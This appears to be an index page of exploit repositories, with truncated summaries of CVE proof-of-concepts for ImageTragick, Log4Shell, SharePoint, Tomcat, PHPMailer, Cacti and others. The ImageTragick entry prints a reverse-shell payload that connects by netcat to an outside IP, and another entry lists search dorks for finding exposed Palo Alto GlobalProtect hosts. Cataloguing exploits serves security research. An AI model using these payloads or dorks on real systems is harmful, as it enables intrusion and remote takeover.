PoC---CVE-2023-26482-RCE-LAB-Nextcloud

Next cloud Prova di concetto e analisi Avviso di sicurezza Questo repository riproduce una vulnerabilità pubblicamente divulgata e corretta in un ambiente di laboratorio Docker controllato, per scopi educativi e di ricerca. L'ambiente è volutamente vulnerabile e deve essere distribuito solo in...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

CVE-2026-50522

CVE-2026-50522 Poc : SharePoint Deserialization RCE Esecuzione remota di codice non autenticata su SharePoint Server tramite deserializzazione del cookie SecurityContextToken Exploit di scansione di massa per CVE-2026-50522 che prende di mira Microsoft SharePoint Server on-premises. Sfrutta la...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell exploit Test dell'exploit esegue ping su google.com esegue qualsiasi comando stampa nome del sistema operativo, versione e architettura raccoglie dettagli sul sistema operativo e sull'utente apre la calcolatrice sulla macchina remota può eseguire qualsiasi eseguibile...

WonderShell

WonderShell - CVE - 2021-44595 | CVE - 2021-44596 Scoperto da Netanel Cohen e Tomer Peled, ricercatori di sicurezza di BugSec. Descrizione Esempio di POC per sfruttare Wondershare Dr.Fone. Dr.Fone è un toolkit per telefoni sviluppato da wondershare, vulnerabile a RCE. Solo con accesso di rete...

CVE

Tabella delle CVE Numero CVE| Tipo| Azienda/Prodotto| Descrizione| Link articolo| Link repository ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| La mancata...

CVE-2024-3400-RCE-Scan

Dork per la Mappatura del Cyberspazio Fofa app="paloalto-GlobalProtect" https://en.fofa.info/result?qbase64=YXBwPSJwYWxvYWx0by1HbG9iYWxQcm90ZWN0Ig%3D%3D Zoomeye app:"Palo Alto Networks firewall httpd"...

CVE-2022-46169-Cacti-v1.2.22-RCE

CVE-2022-46169-Cacti-v1.2.22...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ Un potente toolkit Nuclei per rilevare e convalidare la vulnerabilità critica di bypass dell'autenticazione di FreePBX. 📖 Indice dei contenuti Clicca per espandere Informazioni sul Progetto Caratteristiche Principali Analisi della Vulnerabilità Template in...

ImageTragick_Poc

POC di ImageTragick RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617, vulnerabilità critica di Remote Code Execution RCE scoperta in Apache Tomcat Sono interessati i sistemi con HTTP PUT abilitati impostando il parametro di inizializzazione "read-only" del servlet predefinito su "false". Le versioni di Tomcat precedenti alla 9.0.1 Bet...

CVE-2024-28397-RCE

CVE-2024-28397 Script RCE Payload di reverse shell predefinito e argomento di comando opzionale consentiti exploit funziona per js2py = v0.74 Requisiti Python 3.x Libreria requests pip install requests Listener Netcat per reverse shell Esempio di utilizzo Reverse shell: python exploit.py...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4: Esecuzione di codice tramite iniezione di configurazione Laravel post del blog sulla vulnerabilità https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ puoi usare questo per CTF o solo per imparare divertiti e che Dio vi benedica tutti...

CVE-2016-10033

CVE-2016-10033 – Esecuzione di codice da remoto in PHPMailer 📌 Descrizione Questo repository contiene un exploit proof-of-concept PoC per CVE-2016-10033 , una vulnerabilità nelle versioni di PHPMailer precedenti alla 5.2.18. Il problema si verifica quando l'argomento $additionalparameters della...

CVE-2022-30190

CVE-2022-30190 Basato su https://github.com/JohnHammond/msdt-follina Configurazione dell'ambiente Usa i file in /env-setup 1. Macchina virtuale: usa VirtualBox e Win1021H2Englishx32.iso Build 19044.1288 2. Installa Microsoft Word, esegui setup.exe /configure configuration.xml usando cmd in...

CVE-2024-29671-POC

NEXTU FLETA Wifi6 Router RCE Exploit POC Dieses Dokument beschreibt, wie die CVE-2024-29671 -Schwachstelle im NEXTU FLATA AX1500 -Router-Firmware ausgenutzt wurde. Ausführungsumgebung Dieser Router basiert auf der MIPS-Architektur mit dem Realtek-Chipsatz und Little-Endian. Die...

dp_cryptomg

dpcryptomg Un altro strumento per sfruttare CVE-2017-9248, una debolezza crittografica nel dialog handler di Telerik UI for ASP.NET AJAX. Lo sfruttamento consente di accedere a un'utilità di gestione file in grado di caricare file arbitrari, portando di solito a un'esecuzione remota di codice. La...

CVE-2022-42889-POC

CVE-2022-42889-POC Proof of Concept per la vulnerabilità Apache commons-text CVE-2022-42889. Qual è il problema : Apache Commons Text esegue l'interpolazione di variabili, consentendo di valutare ed espandere dinamicamente le proprietà. Il formato standard per l'interpolazione è "$prefix:name",...

secure-by-default-rce-demo

Mitigazione RCE in Node.js: il DevOps come ultima linea di difesa Questo progetto dimostra una vulnerabilità critica di Remote Code Execution RCE in un'applicazione Next.js in particolare tramite Server Actions e come l'indurimento dell'infrastruttura neutralizzi efficacemente l'attacco anche...

CVE-2019-15858

CVE-2019-15858 Esecuzione remota di codice non autenticata in Woody Ad Snippets PoC Una vulnerabilità non autenticata nell'importazione delle opzioni, combinata con una vulnerabilità XSS memorizzata, può portare all'esecuzione remota di codice nel plugin WordPress Woody Ad Snippets oltre 90.000...